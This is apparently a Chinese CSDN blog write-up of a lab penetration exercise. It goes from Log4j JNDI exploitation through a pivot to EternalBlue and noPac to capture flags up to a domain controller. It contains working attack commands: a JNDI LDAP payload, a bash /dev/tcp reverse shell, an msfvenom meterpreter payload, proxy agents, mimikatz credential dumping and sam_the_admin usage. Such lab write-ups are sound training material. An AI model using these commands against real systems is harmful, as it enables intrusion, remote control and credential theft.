外网打点，内网渗透

已于 2022-01-19 20:43:59 修改
阅读量1.5k 收藏 20
点赞数 2
文章标签： 安全 web安全 网络安全 渗透测试 信息安全
于 2022-01-19 20:27:38 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/kali_Ma/article/details/122588171
版权

外网打点

首先对web进行端口扫描，发现38080端口和22端口

image.png

访问一下38080端口发现是一个error page

image.png

用Wappalyzer看一下是什么架构，但是好像没有检测出来

image.png

拿着报错去百度上发现应该是springboot

image.png

索性用goby再去扫一下，应该是spring没错，但是没有漏洞是什么操作？联想到最近出的log4j2的洞，可能他只是一个日志文件所以并没有框架

image.png

image.png

使用payload=${jndi:ldap://p9j8l8.dnslog.cn}验证一下有回显证明存在漏洞

【一>所有资源获取<一】
1、电子书籍（白帽子）
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

image.png

尝试进一步利用漏洞，首先起一个ldap服务，ip为本地接收shell的ip地址

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

image.png

抓包修改Content-Type: appllication/x-www-form-urlencoded，并执行以下payload成功回显

payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

image.png

执行ls -al /看一下也成功

image.png

nc开启监听端口

image.png

然后使用bash命令反弹，这里需要先base64编码然后对编码后的特殊字符进行2层url转码

bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符}，即可得到反弹shell

image.png

进行信息搜集发现为docker环境，这里尝试了docker逃逸失败，那么继续进行信息搜集

image.png

在根目录下找到了第一个flag，这里有一个got this，在之前端口扫描的时候看到开放了22端口，尝试使用ssh直接连接

image.png

使用xshell尝试连接

image.png

连接成功，拿到了宿主机的权限

image.png

内网渗透

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

image.png

这里方便的话其实可以使用cs上线linux后用cs继续打，这里我就没有上线cs，使用linux的命令对10.0.1.0/24段探测存货主机

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

image.png

ping一下是存活的

image.png

使用毒液把流量代理出来，首先开启监听

admin.exe -lport 7777

image.png

然后上传agent_linux到靶机上

image.png

加权并执行

chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777

image.png

连接成功

image.png

这里本来准备用毒液的代理到msf打的，后面觉得比较麻烦，就直接用kali生成的elf马上线msf了

image.png

首先生成一个32位的elf马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

image.png

然后加权并执行

chmod 777 shell.elf

./shell

image.png

kali使用exploit/multi/handler进行监听

image.png

获取到宿主机的shell

image.png

然后添加10.0.1.0/24段的路由

bg

route add 10.0.1.0 255.255.255.0 1
route print

image.png

然后配置proxychain4.conf文件并使用socks模块

search socks
use auxiliary/sevrer/socks_proxy
run

image.png

我们在之前已经知道了内网主机的ip，那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

proxychains4 nmap -sT -Pn 10.0.1.7

image.png

发现有445端口，那么对445端口进一步扫描

image.png

先确定一下系统版本，使用auxiliary/scanner/smb/smb_version模块，发现是win7 sp1

image.png

看能不能利用永恒之蓝，这里使用到auxiliary/scanner/smb/smb_ms17_010模块，发现可以利用永恒之蓝

image.png

使用exploit/windows/smb/ms17_010_eternalbule模块，因为是不出网环境，这里需要用到bind_tcp载荷

image.png

run之后拿到一个system权限的meterpreter

image.png

在C:\Users\root\Desktop下拿到第二个flag

image.png

然后继续进行信息搜集，发现同样是双网卡，还存在10.0.0.0/24段的一张网卡

image.png

ipconfig /all看到dns服务器为redteam.lab应该在域内

image.png

这里ping一下redteam.lab得到域控的ip为10.0.0.12

image.png

这里不知道域控有什么洞，先上传一个mimikatz把密码抓取出来，得到Administrator/Admin12345，这里其实就可以使用域管账户ipc直接连接，但是这里抓到了一个域用户，尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击

privilege::debug
sekurlsa::logonpasswords

image.png

image.png

这里我准备使用noPac.exe直接去获取一个shell的，但是这里noPac.exe的利用条件是需要主机上有.net4.0环境，所以这里没有回显

image.png

本来准备一步一步的用原始的方法打的，但是powershell用不了没有回显，就写一下原始利用的步骤吧

  1. 首先创建一个机器账户，可以使用 impacket 的 addcomputer.py或是powermad
`addcomputer.py`是利用`SAMR协议`创建机器账户，这个方法所创建的机器账户没有SPN，所以可以不用清除
  1. 清除机器账户的servicePrincipalName属性
  1. 将机器账户的sAMAccountName，更改为DC的机器账户名字，注意后缀不带$
  1. 为机器账户请求TGT
  1. 将机器账户的sAMAccountName更改为其他名字，不与步骤3重复即可
  1. 通过S4U2self协议向DC请求ST
  1. 进行 DCsync Attack

image.png

这里直接使用sam_the_admin.py进行攻击

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

image.png

即可拿到DC的shell

image.png

在C:\Users\Administrator\Desktop下找到最后一个flag

image.png

kali_Ma
关注
内网渗透-实战|手把手教你如何进行内网渗透
lza20001103的博客
08-18 1832
实战|手把手教你如何进行内网渗透 x00 Preface 内网渗透主要是基于前期外围打点getshell的webserver，通过收集webserver上的信息，然后对其他内网主机进行口令上的攻击，当然也有一些基于漏洞的攻击。 内网相关概念这里不再进行介绍，大家可以自行百度，诸如什么是域、域与工作组的区别、什么是DC、什么是AD等。当然，概念是生涩难懂的，结合实际环境会有助于理解。某内网靶场的详细教程：Vulnstack（一） 内网渗透过程中经常会涉及到内网穿透，如何理解内网穿透以及端口转发、端口映射等相关
红队内网攻防渗透：内网渗透之内网对抗：代理通讯篇&无外网或不可达&SockS全协议&规则配置&C2正反向上线&解决方案
HACKONE的博客
06-19 304
攻击机使用socks5代理和web靶机通信，web靶机和二层主机使用4444端口通信，相当于全通。0、基石框架篇-单域、子域、父域、域树、域森林网络架构和搭建等。加入修改配置： /etc/proxychains4.conf。2、代理隧道篇-代理通讯网络不可达-SockS代理配置。1、代理隧道篇-代理通讯网络不可达-正反向连接上线。C2平台：MSF/CS/Sliver/Viper等。C2平台：MSF/CS/Sliver/Viper等。注意：配置连接IP为C2服务器IP。3、在工具上配置连接属性和规则触发。
Kali Linux渗透测试实战
03-10
Kali Linux渗透测试实战 如果您之前使用过或者了解BackTrack系列Linux的话，那么我只需要简单的说，Kali是BackTrack的升级换代产品， 从Kali开始，BackTrack将成为历史。如果您没接触过BackTrack也没关系，我们从头开始了解Kali Linux。按照官方网站 的定义，Kali Linux是一个高级渗透测试和安全审计Linux发行版。作为使用者，我简单的把它理解为，一个特殊的Linux发 行版，集成了精心挑选的渗透测试和安全审计的工具，供渗透测试和安全设计人员使用。也可称之为平台或者框架。
安全攻防-kali内网渗透实战
kali_Ma的博客
12-30 6956
外网打点 首先对web进行端口扫描，发现38080端口和22端口 访问一下38080端口发现是一个error page 用Wappalyzer看一下是什么架构，但是好像没有检测出来 【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线 拿着报错去百度上发现应该是springboot 索性用goby再去扫一下，应该
【内网渗透】最保姆级的春秋云镜Certify打靶笔记
最新发布
uuzeray的博客
09-04 679
得到zhangxia和chenchen的密码哈希，分别hashcat爆一下。切到/tmp目录wget下载fscan和frp，搭代理，扫内网。拿到生成的administrator.pfx获取域管哈希。拿到personnel.db和flag02.txt。两个rdp都失败了，flag2提示打SPN。改一下/etc/hosts，避免超时。一张导出为username.txt。一张导出为password.txt。172.22.9.19 已拿下。再rdp连上去，发现什么都没有。处理一下导出文件内容的双引号。
Kali渗透测试技术实战
07-24
第一章 引言 EC-Council Certified Ethical Hacker （EC CEH，伦理黑客认证）。整个过程包含五个阶段：侦察、扫描、获取访问、维持访问以及清除痕迹。 第二章 下载并安装Kali Linux 硬盘最小120G，尤其是在密码破解、取证和做渗透测试项目的情况下，要求获得控制权限，大量生成数据、收集证据、生成日志和报告。 第三章 软件、补丁和升级 第四章 配置 kali 第五章渗透测试实验环境 第六章渗透测试生命周期 第七章侦查 第八章扫描 第九章渗透 第十章维持访问 第十一章报告和模板 附录AtribalChicken工具 附录BKali渗透测试工具集
kali渗透测试技术实战
02-21
这本书主要介绍了kali的一些工具使用方法，以及linux的一些基本操作
Kali Linux渗透测试实战 1.2 环境安装及初始化
玄魂工作室
12-18 4001
1.2 环境安装及初始化 在1.1节，我们大致了解了Kali Linux的内置工具集，本节主要介绍虚拟机下的系统安装。 如果您需要定制或者采用其他方式安装系统，请参考官方文档，http://cn.docs.kali.org/。官方文档内容大致如下图： KaliLinux官方文档（1） Kali Linux 官方文档（2） 1.2.1 下载映像 在地址http://www.kali
内网渗透--对不出网目标的打法
CanMeng'Blog - 一个WEB安全渗透的技术爱好者
08-03 1681
配置网络 在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下： win7具有双网卡，其中外网ip是192.168.8.133，内网网段是52。三台机器彼此互通，但是win server 2008和win2003不通外网。用我mac作为攻击机，来对这个靶场环境进行渗透测试。 外网打点 在win7这台靶机上，使用PHPStudy让网站可以运行起来。在攻击机上，访问http://192.168.8.133可以看到是一个phpStudy 探针。对这网站进行渗透，因为本文主要写在内网渗透过程..
内网渗透——红日靶机学习（一）
jammny
11-13 6382
前言 开启内网学习，域渗透之路... 环境搭建 官方下载地址以及实验文档如下： http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 内网拓扑： 我选用wmware ESXI进行内网环境搭建，内网搭建如下： WIN7（web服务器）：172.26.16.123/192.168.52.143 WIN2008（域控）：192.168.52.138 WIN2003（域成员）：192.168.52.141 渗透测试 一、外网打点 信息收..
红队内网攻防渗透：内网渗透之内网对抗：隧道技术篇&防火墙组策略&FRP&NPS&Chisel&Socks代理&端口映射&C2上线
HACKONE的博客
06-21 756
目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，DNS解析等），此外还支持内网http代理、内网socks5代理、p2p等，并带有功能强大的web管理端。Frp是专注于内网穿透的高性能的反向代理应用，支持TCP、UDP、HTTP、HTTPS等多种协议。服务端-下载-解压-修改-启动（阿里云主机记得修改安全组配置出入口）建立客户端连接服务端后将141上5555给到服务端6666上。服务端启动：frps -c frps.ini。
kali的实战渗透
12-14
写的是kali的实战渗透，其中有讲msf渗透，kali基础命令使用等等等，非常多
kali渗透内网和外网
weixin_62693307的博客
04-17 6510
set payload windows/meterpreter/reverse_tcp 设置payload为刚才反向远程控制程序名称（windows/meterpreter/reverse_tcp）接着我们要在Sunny-Ngrok注册登陆，这里要买个隧道，但是免费的，就是认证要花2元，这个隧道是帮助我们做内网穿透的，但这个免费的隧道服务器在美国那边，所以有的时候可能不太好用。这里设置的IP和侦听的端口后生成外网木马程序时的IP和端口时不一样的，因为我们这是内网入侵外网。
kali渗透测试：【实验2】一次简单的渗透测试实战
qq_38975218的博客
12-05 4798
启动 Kali 容器并进入到 bash 界面里，执行 ping 操作验证网络联通性： # 启动并进入 Kali 容器里的 bash docker run -ti --network host 3f457 bash # 在 Kali 容器中测试虚拟网络连接，使用 Ctrl-C 退出 ping： ping target 在 Kali 容器的 bash 界面里运行以下命令，注意 Nmap 的参数使用： -p：指定扫描的端口范围 -T4：设定 nmap 扫描的时间策略，数字为 0-5，越大越快。扫描的越慢则越
kali渗透测试实战操作
开心小霖的笔记
10-13 4012
Kali渗透测试复现所需环境 所需环境 Vmware Kali Linux（IP：192.168.145.128） Windows 7 or Windows 10 打开终端，输入msfconsole 然后生成一个木马代码如下 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.128 LPORT=4444 -f exe &g...
Qt下载安装及配置教程(非常详细)，从零基础入门到精通，看完这一篇就够了
Innocence_0的博客
08-19 4648
下载开源版往下滑，下载Qt在线安装程序它已经检测出我的是windows系统，直接点击download就好。如果是其它的系统，需要找到对应自己系统的安装包。然后跟网速有关，等一会就会自动下载等待下载完成，双击.exe文件，就可以进行安装。首先就是登录qt账户，如果没有可以自行注册一个。然后选择个人用户，之后点击下一步进行安装。如果没有报错，那继续往下：这一步是问你对qt有什么改善的建议，我这里直接选择没有，然后继续进行下一步。
【Kali Linux】高级渗透测试实战篇
小洁洁
09-01 6194
>对于企业网络安全建设工作的质量保障，业界普遍遵循PDCA（计划（Plan）、实施（Do）、检查（Check）、处理（Act））的方法论。近年来，网络安全攻防对抗演练发挥了越来越重要的作用。企业的安全管理者通过组织内部或外部攻击队，站在恶意攻击者的视角，识别自身网络安全建设过程中的防护短板，检验安全应急预案的有效性并持续优化，为业务发展提供更强的保驾护航能力。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值